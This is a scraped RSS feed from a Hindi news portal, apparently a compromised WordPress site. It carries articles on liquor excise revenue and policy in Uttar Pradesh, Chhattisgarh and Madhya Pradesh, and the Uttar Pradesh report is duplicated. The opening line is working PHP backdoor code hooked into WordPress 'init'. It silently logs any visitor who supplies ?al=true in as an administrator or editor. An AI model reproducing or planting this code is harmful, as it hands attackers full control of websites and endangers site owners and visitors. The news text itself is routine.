// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); excise policy – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 06 Jun 2026 06:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 योगी सरकार में प्रभावी आबकारी नीति का असर, अप्रैल-मई में 10,635 करोड़ रुपये का राजस्व प्राप्त https://pratyushaashakinayikiran.com/?p=225112 Sat, 06 Jun 2026 06:46:00 +0000 https://pratyushaashakinayikiran.com/?p=225112 योगी सरकार में प्रभावी आबकारी नीति का असर, अप्रैल-मई में 10,635 करोड़ रुपये का राजस्व प्राप्त

मई में 5,387.63 करोड़ रुपये का राजस्व, 2.29 लाख लीटर अवैध शराब बरामद

पिछले वर्ष की तुलना में 865 करोड़ रुपये का अधिक राजस्व, 8.85 प्रतिशत की हुई वृद्धि

लखनऊ,
मुख्यमंत्री योगी आदित्यनाथ के नेतृत्व में उत्तर प्रदेश की वित्तीय स्थिति को मजबूत बनाने की दिशा में आबकारी विभाग लगातार बेहतर प्रदर्शन कर रहा है। वित्तीय वर्ष 2026-27 के पहले दो महीनों में ही विभाग ने राजस्व संग्रह के क्षेत्र में उल्लेखनीय सफलता हासिल करते हुए अप्रैल – मई माह में 10,635.69 करोड़ रुपये का राजस्व अर्जित किया है, इसमें अप्रैल का करीब 5248 करोड़ रुपये का राजस्व शामिल है। यह उपलब्धि न केवल विभाग की कार्यकुशलता को दर्शाती है, बल्कि राज्य सरकार की पारदर्शी नीतियों और प्रभावी प्रशासनिक व्यवस्था की सफलता का भी प्रमाण है।

मई में 5,387.63 करोड़ रुपये का राजस्व प्राप्त, 2.29 लाख लीटर अवैध शराब बरामद

मई 2026 माह में 5,387.63 करोड़ रुपये का राजस्व प्राप्त होना इस बात का संकेत है कि आबकारी विभाग लगातार अपने निर्धारित लक्ष्यों की ओर मजबूती से बढ़ रहा है। इस अवधि में यूपी में 9,898 केस दर्ज किए गए हैं जबकि 2.29 लाख लीटर अवैध शराब बरामद की गई है। इसके अलावा अवैध शराब के कारोबार में संलिप्त 1,564 व्यक्तियों को गिरफ्तार किया गया है, जबकि 298 को जेल भेजा गया है। साथ ही तस्करी में इस्तेमाल 12 वाहनों को भी जब्त किया गया है।

योगी सरकार में रोका गया राजस्व रिसाव

यूपी में आर्थिक गतिविधियों के विस्तार, आबकारी व्यवस्था में पारदर्शिता और तकनीकी निगरानी के बेहतर क्रियान्वयन का सीधा लाभ राजस्व संग्रह में दिखाई दे रहा है। योगी सरकार द्वारा लागू की गई नई व्यवस्थाओं ने न केवल राजस्व रिसाव को रोका है, बल्कि विभागीय कार्यप्रणाली को भी अधिक जवाबदेह और प्रभावी बनाया है।

सुशासन आधारित कार्यशैली का दिख रहा असर: मंत्री नितिन अग्रवाल

आबकारी राज्यमंत्री (स्वतंत्र प्रभार) नितिन अग्रवाल ने कहा कि मुख्यमंत्री योगी आदित्यनाथ की सुशासन आधारित कार्यशैली और राजस्व बढ़ाने के लिए अपनाई गई रणनीतियों का असर विभिन्न क्षेत्रों में दिखाई दे रहा है। आबकारी विभाग की यह सफलता उसी श्रृंखला की एक महत्वपूर्ण कड़ी है, जिसने उत्तर प्रदेश को राजस्व संग्रह के मामले में लगातार नई उपलब्धियां दिलाई हैं। 

चालू वित्तीय वर्ष में मई तक 8.85 प्रतिशत की वृद्धि दर्ज 

आबकारी आयुक्त डॉ. आदर्श सिंह ने कहा कि यूपी में यही गति बनी रही तो चालू वित्तीय वर्ष में आबकारी विभाग पिछले वर्षों के रिकॉर्ड को भी पीछे छोड़ सकता है। उन्होने बताया कि वित्तीय वर्ष 2025-26 की समान अवधि में विभाग को 9,770.68 करोड़ रुपये का राजस्व प्राप्त हुआ था। इसके मुकाबले चालू वित्तीय वर्ष में मई तक 865.01 करोड़ रुपये अधिक राजस्व प्राप्त हुआ है। इस प्रकार विभाग ने 8.85 प्रतिशत की प्रभावशाली वृद्धि दर्ज की है।

]]> योगी सरकार में प्रभावी आबकारी नीति का असर, अप्रैल-मई में 10,635 करोड़ रुपये का राजस्व प्राप्त https://pratyushaashakinayikiran.com/?p=225118 Sat, 06 Jun 2026 06:46:00 +0000 https://pratyushaashakinayikiran.com/?p=225118 योगी सरकार में प्रभावी आबकारी नीति का असर, अप्रैल-मई में 10,635 करोड़ रुपये का राजस्व प्राप्त

मई में 5,387.63 करोड़ रुपये का राजस्व, 2.29 लाख लीटर अवैध शराब बरामद

पिछले वर्ष की तुलना में 865 करोड़ रुपये का अधिक राजस्व, 8.85 प्रतिशत की हुई वृद्धि

लखनऊ,
मुख्यमंत्री योगी आदित्यनाथ के नेतृत्व में उत्तर प्रदेश की वित्तीय स्थिति को मजबूत बनाने की दिशा में आबकारी विभाग लगातार बेहतर प्रदर्शन कर रहा है। वित्तीय वर्ष 2026-27 के पहले दो महीनों में ही विभाग ने राजस्व संग्रह के क्षेत्र में उल्लेखनीय सफलता हासिल करते हुए अप्रैल – मई माह में 10,635.69 करोड़ रुपये का राजस्व अर्जित किया है, इसमें अप्रैल का करीब 5248 करोड़ रुपये का राजस्व शामिल है। यह उपलब्धि न केवल विभाग की कार्यकुशलता को दर्शाती है, बल्कि राज्य सरकार की पारदर्शी नीतियों और प्रभावी प्रशासनिक व्यवस्था की सफलता का भी प्रमाण है।

मई में 5,387.63 करोड़ रुपये का राजस्व प्राप्त, 2.29 लाख लीटर अवैध शराब बरामद

मई 2026 माह में 5,387.63 करोड़ रुपये का राजस्व प्राप्त होना इस बात का संकेत है कि आबकारी विभाग लगातार अपने निर्धारित लक्ष्यों की ओर मजबूती से बढ़ रहा है। इस अवधि में यूपी में 9,898 केस दर्ज किए गए हैं जबकि 2.29 लाख लीटर अवैध शराब बरामद की गई है। इसके अलावा अवैध शराब के कारोबार में संलिप्त 1,564 व्यक्तियों को गिरफ्तार किया गया है, जबकि 298 को जेल भेजा गया है। साथ ही तस्करी में इस्तेमाल 12 वाहनों को भी जब्त किया गया है।

योगी सरकार में रोका गया राजस्व रिसाव

यूपी में आर्थिक गतिविधियों के विस्तार, आबकारी व्यवस्था में पारदर्शिता और तकनीकी निगरानी के बेहतर क्रियान्वयन का सीधा लाभ राजस्व संग्रह में दिखाई दे रहा है। योगी सरकार द्वारा लागू की गई नई व्यवस्थाओं ने न केवल राजस्व रिसाव को रोका है, बल्कि विभागीय कार्यप्रणाली को भी अधिक जवाबदेह और प्रभावी बनाया है।

सुशासन आधारित कार्यशैली का दिख रहा असर: मंत्री नितिन अग्रवाल

आबकारी राज्यमंत्री (स्वतंत्र प्रभार) नितिन अग्रवाल ने कहा कि मुख्यमंत्री योगी आदित्यनाथ की सुशासन आधारित कार्यशैली और राजस्व बढ़ाने के लिए अपनाई गई रणनीतियों का असर विभिन्न क्षेत्रों में दिखाई दे रहा है। आबकारी विभाग की यह सफलता उसी श्रृंखला की एक महत्वपूर्ण कड़ी है, जिसने उत्तर प्रदेश को राजस्व संग्रह के मामले में लगातार नई उपलब्धियां दिलाई हैं। 

चालू वित्तीय वर्ष में मई तक 8.85 प्रतिशत की वृद्धि दर्ज 

आबकारी आयुक्त डॉ. आदर्श सिंह ने कहा कि यूपी में यही गति बनी रही तो चालू वित्तीय वर्ष में आबकारी विभाग पिछले वर्षों के रिकॉर्ड को भी पीछे छोड़ सकता है। उन्होने बताया कि वित्तीय वर्ष 2025-26 की समान अवधि में विभाग को 9,770.68 करोड़ रुपये का राजस्व प्राप्त हुआ था। इसके मुकाबले चालू वित्तीय वर्ष में मई तक 865.01 करोड़ रुपये अधिक राजस्व प्राप्त हुआ है। इस प्रकार विभाग ने 8.85 प्रतिशत की प्रभावशाली वृद्धि दर्ज की है।

]]> रायपुर एयरपोर्ट पर खुलेगा बार, साय सरकार की नई आबकारी नीति से होटल-रेस्टोरेंट संचालकों को बड़ी राहत https://pratyushaashakinayikiran.com/?p=198561 Tue, 17 Feb 2026 05:38:00 +0000 https://pratyushaashakinayikiran.com/?p=198561 रायपुर.

मुख्यमंत्री विष्णुदेव साय की अध्यक्षता में हुई कैबिनेट बैठक में नई आबकारी नीति 2026-27 को हरी झंडी दे दी गई है। इस नीति का मुख्य केंद्र बिंदु राजस्व में वृद्धि और व्यापार करने की सुगमता (Ease of Doing Business) है। सरकार ने स्पष्ट किया है कि प्रदेश में नई शराब दुकानें नहीं खोली जाएंगी, लेकिन मौजूदा व्यवस्था को अधिक पारदर्शी और लाभप्रद बनाया जाएगा। नए नियमों के अनुसार, अब शराब की आपूर्ति से पहले ही टैक्स का भुगतान अनिवार्य होगा, जिससे सरकारी खजाने में समय पर राजस्व सुनिश्चित हो सकेगा।
रायपुर एयरपोर्ट पर बार और लाइसेंस फीस में राहत

पर्यटन को वैश्विक स्तर पर बढ़ावा देने के लिए सरकार ने रायपुर एयरपोर्ट पर ‘विमानपत्तन रेस्टोरेंट बार’ (FL-3 घ) शुरू करने का रास्ता साफ कर दिया है। इसके साथ ही, होटल, क्लब और रेस्टोरेंट संचालकों के लिए लाइसेंस फीस में उल्लेखनीय कटौती की गई है। इस रियायत का उद्देश्य (CG New Excise Policy) राज्य में निवेश आकर्षित करना और आतिथ्य सत्कार क्षेत्र को मजबूती देना है। हालांकि, बार संचालन के समय में कोई बदलाव नहीं किया गया है; यह पहले की तरह सुबह 11 बजे से रात 11 बजे तक ही संचालित होंगे।
प्लास्टिक बोतलों में मिलेगी शराब

पर्यावरण और सुरक्षा के दृष्टिकोण से एक बड़ा बदलाव पैकेजिंग में किया गया है। अब छत्तीसगढ़ में देसी और विदेशी शराब कांच की बोतलों के बजाय प्लास्टिक की बोतलों में बेची जाएगी। विभाग का तर्क है कि कांच की बोतलों के टूटने से हर साल करोड़ों का नुकसान होता है और इससे कर्मचारियों के घायल होने का खतरा भी बना रहता है। प्लास्टिक पैकेजिंग से परिवहन आसान होगा और स्टोरेज की लागत में कमी आएगी। यह नियम 1 अप्रैल 2026 से पूरे प्रदेश में अनिवार्य रूप से लागू हो जाएगा।
महंगी होगी शराब: नया टैक्स स्लैब लागू

शराब प्रेमियों के लिए खबर थोड़ी कड़वी हो सकती है क्योंकि नई नीति में आबकारी ड्यूटी बढ़ा दी गई है। विशेष रूप से विदेशी और प्रीमियम ब्रांड्स (CG New Excise Policy) पर अब ‘रिटेल सेल प्राइस’ (RSP) के आधार पर टैक्स लगेगा। जितनी महंगी बोतल होगी, उस पर उतना ही अधिक ड्यूटी टैक्स देना होगा। बीयर और रेडी-टू-ड्रिंक (RTD) पेय पदार्थों पर भी नई दरें लागू की गई हैं। सरकार का मानना है कि उच्च श्रेणी के ब्रांड्स पर टैक्स बढ़ाने से राजस्व में बड़ी बढ़ोतरी होगी, जबकि सेना और अर्धसैनिक बलों के लिए ड्यूटी की न्यूनतम दरें बरकरार रखी गई हैं।
प्रशासनिक सुधार और निगरानी

नई नीति के तहत प्रशासनिक शक्तियों में भी बदलाव किया गया है। अब कंपोजिट लाइसेंस जारी करने का अधिकार सीधे आबकारी आयुक्त के पास होगा, जिससे प्रक्रिया में तेजी आएगी। साथ ही, अवैध शराब की तस्करी और ब्लैक मार्केटिंग रोकने के लिए डिजिटल ट्रैकिंग सिस्टम को और मजबूत किया जाएगा।

]]> प्रदेश में नई आबकारी नीति जारी, बंद दुकानों की भरपाई के लिए जिले की दूसरी दुकानों की बढ़ेगी कीमतें https://pratyushaashakinayikiran.com/?p=131530 Sat, 15 Feb 2025 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=131530 भोपाल

मध्यप्रदेश में 19 पवित्र शहरों और गांवों में शराब दुकानों को एक अप्रैल से बंद किया जाएगा। उनसे होने वाली आय की भरपाई के लिए सरकार संबंधित जिले की बाकी दुकानों में 25 फीसदी तक की वृद्धि करेगी।

रेस्तरांं में ओपन एरिया में बिकने वाली शराब के लिए भी फ्लोर एरिया बढ़ाने की सहमति दी गई है। विभाग ने कमर्शियल आयोजनों के लिए भी व्यक्तियों की संख्या के आधार पर लाइसेंस फीस तय की है।

ई-बैंक गारंटी की वैधता 30 अप्रैल 2026 तक

एक अप्रैल से लागू होने वाली नई आबकारी नीति में शराब दुकानों के लिए लाइसेंस लेने वाले ठेकेदारों को बैंक गारंटी सिर्फ ई-बैंक गारंटी के रूप में ही मिलेगी। इसके माध्यम से ही शराब दुकानों का आवंटन किया जा सकेगा।

ई-बैंक गारंटी की वैधता अवधि कम से कम 30 अप्रैल 2026 तक होगी। इसके लिए एफडी स्वीकार नहीं की जाएगी और पहले से जमा एफडी का नवीनीकरण भी नहीं किया जाएगा। जो ई-बैंक गारंटी दी जाएगी उसका कहीं और प्रयोग नहीं किया जा सकेगा।

नई आबकारी नीति जारी करते हए आबकारी विभाग ने कहा है कि ई-बैंक गारंटी को लेकर ठेकेदार से प्रमाणित दस्तावेज भी लिए जाएंगे कि ई-बैंक गारंटी पर पहला हक उस ठेके के लिए होगा जो ठेकेदार को मिलेगा। यह बैंक गारंटी सिर्फ साइबर ट्रेजरी के माध्यम से जमा ई चालान या स्वीकार्य बैंकों की ई-गारंटी के रूप में मंजूर की जाएगी।

पवित्र शहरों और गांवों के लिए भी बताए प्रावधान

आबकारी नीति में प्रदेश के पवित्र शहरों और गांवों की शराब दुकानों को बंद किए जाने के बाद सरकार ने उसकी भरपाई के लिए विकल्प तैयार किए हैं। इसमें कहा है कि अगर किसी शराब दुकान का वार्षिक मूल्य 500 करोड़ रुपए है और इनमें से बंद की जाने वाली शराब दुकानों का वर्ष 2024-25 का वार्षिक मूल्य 100 करोड़ रुपए है तो ऐसी स्थिति में शेष वार्षिक मूल्य 400 करोड़ रुपए की शराब दुकानों के रिजर्व मूल्य की गणना नए फॉर्मूले के आधार पर की जाएगी।

फॉर्मूले में कहा है कि बंद की जाने वाली दुकान के वर्ष 2024-25 के कुल वार्षिक मूल्य का जिले की शेष शराब दुकानों के इसी वर्ष के कुल वार्षिक मूल्य का प्रतिशत निकाला जाएगा जो 25 प्रतिशत होगा। विभाग ने इसे उदाहरण के साथ समझाते हुए कहा है कि अगर किसी दुकान का वर्ष 2024-25 में वार्षिक मूल्य 10 करोड़ रुपए है तो वर्ष 2024-25 के वार्षिक आधार मूल्य में 20 प्रतिशत वृद्धि कर उसका अंतरिम रिजर्व मूल्य निकाला जाएगा, जो 14.50 करोड़ रुपए होगा।

दुकानों को कहीं शिफ्ट भी नहीं किया जाएगा

नई आबकारी नीति में कहा है कि 13 नगरीय निकायों और 6 ग्राम पंचायतों में एक अप्रैल से शराब दुकानों का संचालन नहीं किया जाएगा। यहां किसी भी प्रकार के बार और वाइन आउटलेट के लाइसेंस एक अप्रैल 2025 से नहीं दिए जाएंगे। इनके संचालन की भी अनुमति नहीं होगी। यहां की दुकानों को कहीं शिफ्ट भी नहीं किया जाएगा।

नीति में कहा है कि भौगोलिक एरिया के आधार पर अधिकतम चार शराब दुकानों को मिलाकर आवश्यकता के आधार पर एकल समूह बनाया जा सकेगा लेकिन इससे अधिक दुकानों के समूह के मामले में आबकारी आयुक्त ही फैसला करेंगे।

नीति में यह भी कहा है कि सभी शराब दुकानों पर पाइंट आफ सेल (POS) मशीनें लगाई जाएंगी और शराब की बोतल पर चस्पा एक्साइज एडहेसिव लेवल को स्कैन कर ही बिलिंग और बिक्री की जाएगी। ऐसा नहीं किए जाने पर पहली बार 25 हजार रुपए और इसके बाद हर जांच में पांच हजार रुपए प्रति केस पेनल्टी में वृद्धि की जाती रहेगी। यानी दूसरी बार तीस हजार, तीसरी बार पैंतीस हजार रुपए पेनल्टी लगाई जाएगी।

ओपन एरिया में शराब बांटने का दायरा बढ़ाया

अभी रेस्त्रां बार लाइसेंस को अपने डाइनिंग एरिया के अतिरिक्त अन्य फ्लोर और खुली छत पर भी संचालित कर सकते हैं। ऐसे एक्स्ट्रा फ्लोर के लिए 500 वर्गफीट का एरिया जरूरी होता है और हर फ्लोर के लिए 10 प्रतिशत अधिक लाइसेंस फीस देना होती है। नए वित्त वर्ष में यह पात्रता एक्स्ट्रा फ्लोर और खुली छत के सात रेस्त्रां के उसी फ्लोर पर खुले स्थान को भी शर्तों के साथ दी जा सकेगी। यह पात्रता रेस्त्रां बार के साथ लो एल्कोहलिक बेवरेज बार को भी होगी।

कमर्शियल आयोजनों के लिए लाइसेंस दिए जा सकेंगे

आबकारी विभाग ने कहा है कि कमर्शियल किस्म के आयोजनों के लिए प्रासंगिक लाइसेंस दिए जा सकेंगे जिसके लिए अलग लाइसेंस फीस होगी। इस दौरान शराब का उपयोग किया जा सकेगा। इसके लिए जो फीस तय की गई है उसके मुताबिक कार्यक्रम में शामिल होने वाले व्यक्तियों की संख्या के आधार पर लाइसेंस फीस वसूली जाएगी।

    500 व्यक्तियों के लिए 25 हजार लाइसेंस फीस होगी।
    एक हजार व्यक्तियों के लिए 50 हजार रुपए लाइसेंस फीस होगी।
    दो हजार व्यक्तियों के लिए 75 हजार रुपए लाइसेंस फीस होगी।
    5 हजार व्यक्तियों के लिए 1 लाख रुपए लाइसेंस फीस होगी।
    पांच हजार से अधिक व्यक्तियों के लिए दो लाख रुपए लाइसेंस फीस होगी।

]]> मध्य प्रदेश में अब शराब दुकानों में केवल पीओएस मशीन से बिलिंग होगी, स्केन करते ही शराब की शुद्धता भी पता चलेगी https://pratyushaashakinayikiran.com/?p=128065 Sun, 02 Feb 2025 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=128065 भोपाल
 मध्य प्रदेश सरकार ने शराब की कालाबाजारी रोकने के लिए नई व्यवस्था की है। नई आबकारी नीति के तहत अब शराब की बोतल पर लगे बार कोड से पता चल जाएगा कि शराब नकली है या असली।

कागज की सील यानी एक्साइज लेबल (ईएल) पर बार कोड होगा, जिसे स्केन करते ही शराब की शुद्धता भी पता चलेगी। इतना ही नहीं शराब की बोतल किस गोदाम की है और किस दुकान से बेची गई है, यह जानकारी भी मिल जाएगी।

नकली शराब की मिलावट को रोका जा सकेगा

इससे मप्र के बाहर से आने वाली शराब की खपत और खाली बोतल में नकली शराब की मिलावट को रोका जा सकेगा। इसके अलावा शराब की दुकानों को कैशलेस भी किया जाएगा। केवल पीओएस मशीन से ही बिलिंग की जाएगी। वेयरहाउस भी स्मार्ट बनाए जाएंगे।

वन क्षेत्रों के रिजार्ट में भी बार का मिल सकेगा लाइसेंस

पहले व्यवस्था थी कि वन क्षेत्र के रिजार्ट में बार का लाइसेंस नगर से 30 किलोमीटर दूर और वन क्षेत्र से 20 किलोमीटर के अंदर सीमा में निर्धारित किया गया था, लेकिन इससे व्यावहारिक कठिनाई आ रही थी। कई क्षेत्रों में बार के लाइसेंस नहीं दिए जा सकते थे।

ऐसे में यह दूरी भी घटाई जा रही है। अब शहर से सटे जंगलों में भी रिजार्ट में बार के लाइसेंस दिए जा सकेंगे। दरअसल, जंगल के रिजार्ट की लाइसेंस फीस कम होती है और इसके दुरुपयोग की संभावना बनी हुई थी, नई व्यवस्था इसका भी ध्यान रखा गया है।

16 हजार करोड़ का लक्ष्य, 13941 हजार करोड़ का मिला राजस्व

प्रदेश में शराब की खपत लगातार बढ़ रही है। इसके साथ ही सरकार की राजस्व अय भी बढ़ रही है। साल 2024-25 में 16 हजार करोड़ रुपये का राजस्व लक्ष्य रखा गया है। इसके विरुद्ध शराब दुकानों के नवीनीकरण और नीलामी से अब तक 13941 हजार करोड़ रुपये राजस्व मिलना सुनिश्चित हुआ है।

इसके अलावा अन्य शुल्कों से भी राजस्व आय होनी है। वित्तीय वर्ष खत्म होने में अभी कुछ महीने बाकी हैं। इससे साफ है कि शराब बिक्री से सरकार को अच्छा खासा मुनाफा होगा।

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